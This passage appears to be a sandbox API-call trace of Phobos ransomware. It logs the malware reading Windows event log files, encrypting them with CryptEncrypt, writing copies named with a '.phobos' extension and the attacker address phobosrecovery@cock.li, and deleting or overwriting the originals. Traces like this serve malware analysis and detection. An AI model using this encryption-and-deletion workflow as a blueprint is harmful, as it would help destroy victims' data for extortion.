lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0057.509] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0057.509] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0057.509] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0057.509] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cf70) returned 1 [0057.509] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0057.509] ReadFile (in: hFile=0x318, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0057.510] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0057.510] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0057.512] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d1b0) returned 1 [0057.512] CryptSetKeyParam (hKey=0x10d1b0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0057.512] CryptEncrypt (in: hKey=0x10d1b0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0, dwBufLen=0xc0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xc0) returned 1 [0057.512] CryptDestroyKey (hKey=0x10d1b0) returned 1 [0057.512] WriteFile (in: hFile=0x304, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x172, lpOverlapped=0x0) returned 1 [0057.512] CryptDestroyKey (hKey=0x10cf70) returned 1 [0057.512] CloseHandle (hObject=0x318) returned 1 [0057.512] CloseHandle (hObject=0x304) returned 1 [0057.514] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1 [0057.516] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0057.516] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.521] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=1052672) returned 1 [0057.521] CloseHandle (hObject=0x31c) returned 1 [0057.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 0x20 [0057.521] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0057.521] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0057.521] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0057.521] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0057.521] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0057.521] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cc70) returned 1 [0057.521] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0057.521] ReadFile (in: hFile=0x31c, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x101000, lpOverlapped=0x0) returned 1 [0057.535] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x101010, dwBufLen=0x101010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x101010) returned 1 [0057.536] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x101010, lpOverlapped=0x0) returned 1 [0058.000] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d1f0) returned 1 [0058.000] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0058.000] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xb0, dwBufLen=0xb0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0xb0) returned 1 [0058.000] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0058.000] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x162, lpOverlapped=0x0) returned 1 [0058.000] CryptDestroyKey (hKey=0x10cc70) returned 1 [0058.000] CloseHandle (hObject=0x31c) returned 1 [0058.000] CloseHandle (hObject=0x2e4) returned 1 [0058.249] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-ApplicationResourceManagementSystem%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-applicationresourcemanagementsystem%4operational.evtx")) returned 1 [0058.322] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0058.322] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.322] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0058.322] CloseHandle (hObject=0x338) returned 1 [0058.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0058.322] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0058.323] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0058.323] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0058.323] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0058.323] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0058.324] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cdf0) returned 1 [0058.324] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0058.324] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0058.326] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0058.326] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0058.328] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10ce70) returned 1 [0058.328] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0058.328] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0058.328] CryptDestroyKey (hKey=0x10ce70) returned 1 [0058.328] WriteFile (in: hFile=0x324, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0058.328] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.328] CloseHandle (hObject=0x338) returned 1 [0058.328] CloseHandle (hObject=0x324) returned 1 [0058.529] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 1 [0058.530] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0058.531] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.531] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=2166784) returned 1 [0058.531] CloseHandle (hObject=0x2e4) returned 1 [0058.531] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx")) returned 0x20 [0058.531] MoveFileW (lpExistingFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx"), lpNewFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 1 [0058.531] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-AppXDeploymentServer%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-appxdeploymentserver%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0058.532] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0058.532] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0058.532] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2e68058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0058.535] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0058.536] ReadFile (in: hFile=0x2e4, lpBuffer=0x2ea8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ea8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0058.538] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd00 | out: lpNewFilePointer=0x0) returned 1 [0058.538] ReadFile (in: hFile=0x2e4, lpBuffer=0x2ee8058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2a9fd0c, lpOverlapped=0x0 | out: lpBuffer=0x2ee8058*, lpNumberOfBytesRead=0x2a9fd0c*=0x40000, lpOverlapped=0x0) returned 1 [0058.550] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcf0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd5c | out: phKey=0x2a9fd5c*=0x10cdf0) returned 1 [0058.550] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0058.550] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc00b0, dwBufLen=0xc00b0 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd10*=0xc00b0) returned 1 [0058.551] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0058.551] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd38 | out: lpNewFilePointer=0x0) returned 1 [0058.551] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0xc0162, lpNumberOfBytesWritten=0x2a9fd48, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd48*=0xc0162, lpOverlapped=0x0) returned 1 [0058.563] SetEndOfFile (hFile=0x2e4) returned 1 [0058.563] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x1d1000, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0058.563] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f2819a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2819a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0058.973] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0xb0555, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0058.974] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f2819a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2819a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0058.976] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd08 | out: lpNewFilePointer=0x0) returned 1 [0058.976] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f2819a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2a9fd14, lpOverlapped=0x0 | out: lpBuffer=0x2f2819a*, lpNumberOfBytesWritten=0x2a9fd14*=0x40000, lpOverlapped=0x0) returned 1 [0059.007] CloseHandle (hObject=0x2e4) returned 1 [0059.313] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.313] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.314] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.314] CloseHandle (hObject=0x2e4) returned 1 [0059.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 0x20 [0059.314] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.314] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.314] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.314] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.314] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.314] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10cc30) returned 1 [0059.314] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.314] ReadFile (in: hFile=0x2e4, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.619] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.619] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x11010, lpOverlapped=0x0) returned 1 [0059.621] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fcdc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd48 | out: phKey=0x2a9fd48*=0x10d070) returned 1 [0059.621] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.621] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90, dwBufLen=0x90 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x90) returned 1 [0059.621] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.621] WriteFile (in: hFile=0x338, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2a9fd50, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesWritten=0x2a9fd50*=0x142, lpOverlapped=0x0) returned 1 [0059.621] CryptDestroyKey (hKey=0x10cc30) returned 1 [0059.621] CloseHandle (hObject=0x2e4) returned 1 [0059.621] CloseHandle (hObject=0x338) returned 1 [0059.623] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Crypto-DPAPI%4BackUpKeySvc.evtx" (normalized: "c:\\logs\\microsoft-windows-crypto-dpapi%4backupkeysvc.evtx")) returned 1 [0059.624] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2a9fdf0 | out: pbBuffer=0x2a9fdf0) returned 1 [0059.624] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.624] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x2a9fd90 | out: lpFileSize=0x2a9fd90*=69632) returned 1 [0059.624] CloseHandle (hObject=0x338) returned 1 [0059.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx")) returned 0x20 [0059.624] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.624] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0059.624] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.624] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fd30 | out: lpNewFilePointer=0x0) returned 1 [0059.625] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0059.625] CryptImportKey (in: hProv=0xe6710, pbData=0x2a9fce8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2a9fd44 | out: phKey=0x2a9fd44*=0x10caf0) returned 1 [0059.625] CryptSetKeyParam (hKey=0x10caf0, dwParam=0x1, pbData=0x2a9fdf0, dwFlags=0x0) returned 1 [0059.625] ReadFile (in: hFile=0x338, lpBuffer=0x2e68020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2a9fd6c, lpOverlapped=0x0 | out: lpBuffer=0x2e68020*, lpNumberOfBytesRead=0x2a9fd6c*=0x11000, lpOverlapped=0x0) returned 1 [0059.626] CryptEncrypt (in: hKey=0x10caf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010, dwBufLen=0x11010 | out: pbData=0x2e68020*, pdwDataLen=0x2a9fd08*=0x11010) returned 1 [0059.626] WriteFile (in: hFile=0x2e4, lpBuffer=0x2e68020*, nNumberOfBytesToWrite=0x11010, 